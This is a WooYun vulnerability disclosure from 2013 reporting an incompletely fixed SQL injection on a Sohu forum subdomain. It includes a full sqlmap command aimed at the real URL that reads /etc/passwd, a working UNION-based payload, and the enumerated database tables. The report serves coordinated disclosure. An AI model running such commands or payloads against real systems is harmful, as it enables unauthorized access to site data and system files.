当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-045704

漏洞标题:搜狐某分站sql注入漏洞(修复不完善)

相关厂商:搜狐

漏洞作者: D&G

提交时间:2013-12-12 17:25

修复时间:2014-01-26 17:26

公开时间:2014-01-26 17:26

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-12: 细节已通知厂商并且等待厂商处理中
2013-12-12: 厂商已经确认,细节仅向厂商公开
2013-12-22: 细节向核心白帽子及相关领域专家公开
2014-01-01: 细节向普通白帽子公开
2014-01-11: 细节向实习白帽子公开
2014-01-26: 细节向公众公开

简要描述:

修复不彻底。

详细说明:

已经向白帽公开了。应该是修过了。不可以用基于逻辑的盲注了。不过依然可以注入。

python sqlmap.py -u "http://club.sohu.com//more/dahuasohu_cache.php?kindid=664" --random-agent --file-read=/etc/passwd  
sqlmap/1.0-dev-7054586 - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:45:56
[18:45:56] [INFO] fetched random HTTP User-Agent header from file 'sqlmap/txt/user-agents.txt': Opera/9.10 (Windows NT 6.0; U; it-IT)
[18:45:57] [INFO] resuming back-end DBMS 'mysql'
[18:45:57] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: kindid
Type: UNION query
Title: MySQL UNION query (NULL) - 19 columns
Payload: kindid=664 UNION ALL SELECT NULL,NULL,CONCAT(0x7167756971,0x724c7574696e766f4650,0x7169727271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#
---
[18:45:57] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.0.55
back-end DBMS: MySQL 5


漏洞证明:

[18:43:34] [WARNING] missing table parameter, sqlmap will retrieve the number of entries for all database management system databases' tables
Database: forum
+-------------+---------+
| Table | Entries |
+-------------+---------+
| commendback | 2417313 |
| commend | 2250280 |
| ads | 142910 |
| dig_item | 21482 |
| forum | 2703 |
| ban_url | 1959 |
| forum1 | 1005 |
| forum1_bak | 986 |
| dig_news | 775 |
| city_ip | 379 |
| class | 197 |
| _doc | 58 |
| channel | 50 |
| class_bak | 39 |
| enterprise | 13 |
| dig_chip | 7 |
+-------------+---------+

修复方案:

。。。

版权声明:转载请注明来源 D&G@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2013-12-12 17:39

厂商回复:

感谢支持 ^_^

最新状态:

暂无


漏洞评价:

评论

  1. 2014-01-26 18:22 | 动后河 ( 实习白帽子 | Rank:51 漏洞数:13 | ☭)

    自从有了sqlmap,php的注入比asp简单了